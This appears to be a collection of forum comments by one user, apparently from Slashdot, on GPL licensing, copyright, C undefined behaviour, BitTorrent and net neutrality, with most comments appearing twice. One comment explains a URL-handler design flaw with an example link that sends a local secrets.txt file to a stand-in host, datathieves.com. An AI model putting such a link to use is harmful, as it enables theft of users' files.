Back in the late 80's my father and I wrote a BASIC interpreter for the PC, and we sent off a review copy to Byte magazine along with a brochure. It appeared in their "What's New International" column, the text was lifted straight out of our brochure.
A legitimate medical supplied web site would contain that information both when crawled by Google and when browsed by Firefox or IE. The GP is suggesting that the site might appear innocuous to Google's crawler but be a spam site to any other visitor. Therefore Google should try faking a browser ID and checking the contents produced. However, the problem with this is that some sites allow Google through but require registration from anyone else.
The whole thing is written by someone whose first language is not English, and hasn't gone through a native English-speaking editor. Robust is probably a literal translation of a French word that is commonly used to mean "very good".
"you probably need to know with which 3D applications package with you will feel better", what a mess! "the most know today top industries 3D applications"?
I don't know if he's a murderer, but regardless of the current case, he's still a naughty man, and I'd have said he was such before the current case even started.
Undefined behaviour? What's wrong with that? Do you really want to standardise, say, what happens when you reference a dangling pointer? That would require every pointer access to be wrapped in checking code, with metadata stored with every pointer, introducing a massive overhead on the lowest level operations. C is low-level. If you don't want a low-level language, then don't use C.
It may well be that he didn't sell the content, but tipped off the new buyer that the contents of the database including all revision information could be downloaded and installed on new servers. The revision information in wikis is typically downloadable, as it provides the author information needed for the attribution clause. I could download the entire contents of Wikipedia and host it myself if I wanted.
However, I think the authors are on dodgy ground as they contributed NC material to a commercially-supported site. If I give you money and say "here, keep hold of this for ever, but you aren't allowed to spend it", then I think I'd have a hard time in court if you spent it because it's clearly an unreasonable and unenforceable clause.
People will latch onto whatever reason they can find to justify elevating themselves to the top of the pile. If you've got money, you'll argue how money equates to success which equates to personal worth.
OP wrote: The FSF investigates and pursues GPL violations on its software on all platforms. Its software - software owned by the FSF, such as the GNU project. The article is incorrectly tagged 'gnu' but this is not a GNU issue. Just because someone used the GPL for their software, doesn't make it part of the GNU project or owned by the FSF and the FSF have no obligation to do anything about this. (dsclaimer: I havent checked to see whether any of the software listed actually is part of the GNU project but it doesn't look like it at first glance)
It doesn't have to be a bug, it just has to be a poorly-thought-out feature. For instance, a file transfer application that can be invoked from a handler, e.g. clicking sender:source=c:/secrets.txt?target=http://datathi eves.com on a web page could invoke the "sender" handler application to send your secrets.txt to datathieves.com - is this a bug, or just a stupid application doing something unfortunate?
he funny thing, is that reagan has more to do with this than most leaders. He was a true believer in "war is peace", just like W.
I was once taken in by a "closing down sale" where some guys at the front of a crowd fleeced people by selling them rubbish at inflated prices. They started out by effectively demonstrating their scam to the audience, where they get you to give money up front in return for an empty box, and war you not to fall for that trick. Then they pull exactly that trick and everyone fell for it. I bought the world's crappiest camera for £50, and this was over 10 years ago, that would be more like £100 now.
Politics is similar, they warn you about loss of freedom, and then take away your freedom to protect you.
The GNU/Linux community has quite a powerful voice, with big names like IBM giving it respectibility. ISO distribution is the poster boy for bittorrent legitimacy, and WoW patch distribution is in there as well. I don't think "the man" could outlaw bittorrent.
You need a license from every copyright holder to copy the software. If any one of them has terminated your license, you can't copy the software anymore;
So Mr. Valve just gets his brother to make a 1-line cosmetic change to to Dosbox, gets a copy of that with the GPL attached, and then has a licence for a different program that he can redistribute with all his steamy software. Permanent, non-fixable revocations of rights are really hard to make compatible with free software.
The GPL specifically states that each time you distribute GPL software, the recipient gains a new licence. If that recipient (id and Valve) violated the GPb in redistributing it without the licence file, they can download it again and get a new licence. Sure you can still be sued for the copyright violation but you can fix the error and carry on.
Unfortunately the spec was written to match Excel, so MS won't change the definition of Pica that Excel uses, or add calendrical localisation that Excel does not support, etc. so some things (like specifying that SIN uses radians) can be fixed but not so others.
And choosing a "GPL-compatible" license solves the compatibility problem between GPLv2 and GPLv3, whilst still providing the protections of GPLv3 to some of the code base? Your answer is basically Patient: Doctor it hurts when I do this, Doctor: Then don't do that.
According to the Berne Convention, anything I (a UK citizen) create is protected by US copyright law as though it had been created there. I get the same protection, in America, that you Americans get. So does Uri Geller, so he has just as much right to invoke the DMCA as you do. I guess that if he tries to abuse US law, though, he can be tried under US legal jurisdiction and if he sets foot in the US or has any assets there US law can be applied to him or his assets. If it's serious enough then he can be extradited but I doubt it in this case.
Vista will succeed, that does not mean that it is popular. Malaria is successful, but no-one likes it, probably not even the mosquitoes.
What about the rest of the world?
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As a Brit with only a limited understanding of how the interweb works, how does net neutrality affect me? If this bill had happened, how would it affect my internet experience? Presumably it would affect the way my packets are handled within the US, depending on who picks them up at the end of the atlantic cable and who they are destined for at the other end. Are there any signs of change in the EU? My Warcraft packets have to make their way to Rome and back apparently, so I'm a little concerned that they will get held up by a French farmers' blockade or something.
I'll never understand the 'locked-in' complaint. Music has always been locked into the media - it's not exactly easy to play an 8-track on a record player, and don't get me started on getting music off of those old cylinders.
If Philips were the only company making CD players, then your analogy would make sense.
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Back in the late 80's my father and I wrote a BASIC interpreter for the PC, and we sent off a review copy to Byte magazine along with a brochure. It appeared in their "What's New International" column, the text was lifted straight out of our brochure.
I want to see The Silmarillion made as a mini-series!
I guess I just about qualify. Slashdot was pretty much established as an internet phenomenon when I started reading though.
A legitimate medical supplied web site would contain that information both when crawled by Google and when browsed by Firefox or IE. The GP is suggesting that the site might appear innocuous to Google's crawler but be a spam site to any other visitor. Therefore Google should try faking a browser ID and checking the contents produced. However, the problem with this is that some sites allow Google through but require registration from anyone else.
The whole thing is written by someone whose first language is not English, and hasn't gone through a native English-speaking editor. Robust is probably a literal translation of a French word that is commonly used to mean "very good".
"you probably need to know with which 3D applications package with you will feel better", what a mess! "the most know today top industries 3D applications"?
I don't know if he's a murderer, but regardless of the current case, he's still a naughty man, and I'd have said he was such before the current case even started.
Undefined behaviour? What's wrong with that? Do you really want to standardise, say, what happens when you reference a dangling pointer? That would require every pointer access to be wrapped in checking code, with metadata stored with every pointer, introducing a massive overhead on the lowest level operations. C is low-level. If you don't want a low-level language, then don't use C.
It may well be that he didn't sell the content, but tipped off the new buyer that the contents of the database including all revision information could be downloaded and installed on new servers. The revision information in wikis is typically downloadable, as it provides the author information needed for the attribution clause. I could download the entire contents of Wikipedia and host it myself if I wanted.
However, I think the authors are on dodgy ground as they contributed NC material to a commercially-supported site. If I give you money and say "here, keep hold of this for ever, but you aren't allowed to spend it", then I think I'd have a hard time in court if you spent it because it's clearly an unreasonable and unenforceable clause.
People will latch onto whatever reason they can find to justify elevating themselves to the top of the pile. If you've got money, you'll argue how money equates to success which equates to personal worth.
Not everything, just operating systems that are predominantly built out of GNU software.
OP wrote:
The FSF investigates and pursues GPL violations on its software on all platforms.
Its software - software owned by the FSF, such as the GNU project. The article is incorrectly tagged 'gnu' but this is not a GNU issue. Just because someone used the GPL for their software, doesn't make it part of the GNU project or owned by the FSF and the FSF have no obligation to do anything about this. (dsclaimer: I havent checked to see whether any of the software listed actually is part of the GNU project but it doesn't look like it at first glance)
If you can connect it to the network, you could use Proactive Security Auditor.
It doesn't have to be a bug, it just has to be a poorly-thought-out feature. For instance, a file transfer application that can be invoked from a handler, e.g. clicking sender:source=c:/secrets.txt?target=http://datathi eves.com on a web page could invoke the "sender" handler application to send your secrets.txt to datathieves.com - is this a bug, or just a stupid application doing something unfortunate?
I was once taken in by a "closing down sale" where some guys at the front of a crowd fleeced people by selling them rubbish at inflated prices. They started out by effectively demonstrating their scam to the audience, where they get you to give money up front in return for an empty box, and war you not to fall for that trick. Then they pull exactly that trick and everyone fell for it. I bought the world's crappiest camera for £50, and this was over 10 years ago, that would be more like £100 now.
Politics is similar, they warn you about loss of freedom, and then take away your freedom to protect you.
The GNU/Linux community has quite a powerful voice, with big names like IBM giving it respectibility. ISO distribution is the poster boy for bittorrent legitimacy, and WoW patch distribution is in there as well. I don't think "the man" could outlaw bittorrent.
Really? Where does it say that?
So Mr. Valve just gets his brother to make a 1-line cosmetic change to to Dosbox, gets a copy of that with the GPL attached, and then has a licence for a different program that he can redistribute with all his steamy software. Permanent, non-fixable revocations of rights are really hard to make compatible with free software.
The GPL specifically states that each time you distribute GPL software, the recipient gains a new licence. If that recipient (id and Valve) violated the GPb in redistributing it without the licence file, they can download it again and get a new licence. Sure you can still be sued for the copyright violation but you can fix the error and carry on.
Unfortunately the spec was written to match Excel, so MS won't change the definition of Pica that Excel uses, or add calendrical localisation that Excel does not support, etc. so some things (like specifying that SIN uses radians) can be fixed but not so others.
And choosing a "GPL-compatible" license solves the compatibility problem between GPLv2 and GPLv3, whilst still providing the protections of GPLv3 to some of the code base? Your answer is basically Patient: Doctor it hurts when I do this, Doctor: Then don't do that.
According to the Berne Convention, anything I (a UK citizen) create is protected by US copyright law as though it had been created there. I get the same protection, in America, that you Americans get. So does Uri Geller, so he has just as much right to invoke the DMCA as you do. I guess that if he tries to abuse US law, though, he can be tried under US legal jurisdiction and if he sets foot in the US or has any assets there US law can be applied to him or his assets. If it's serious enough then he can be extradited but I doubt it in this case.
Vista will succeed, that does not mean that it is popular. Malaria is successful, but no-one likes it, probably not even the mosquitoes.
As a Brit with only a limited understanding of how the interweb works, how does net neutrality affect me? If this bill had happened, how would it affect my internet experience? Presumably it would affect the way my packets are handled within the US, depending on who picks them up at the end of the atlantic cable and who they are destined for at the other end. Are there any signs of change in the EU? My Warcraft packets have to make their way to Rome and back apparently, so I'm a little concerned that they will get held up by a French farmers' blockade or something.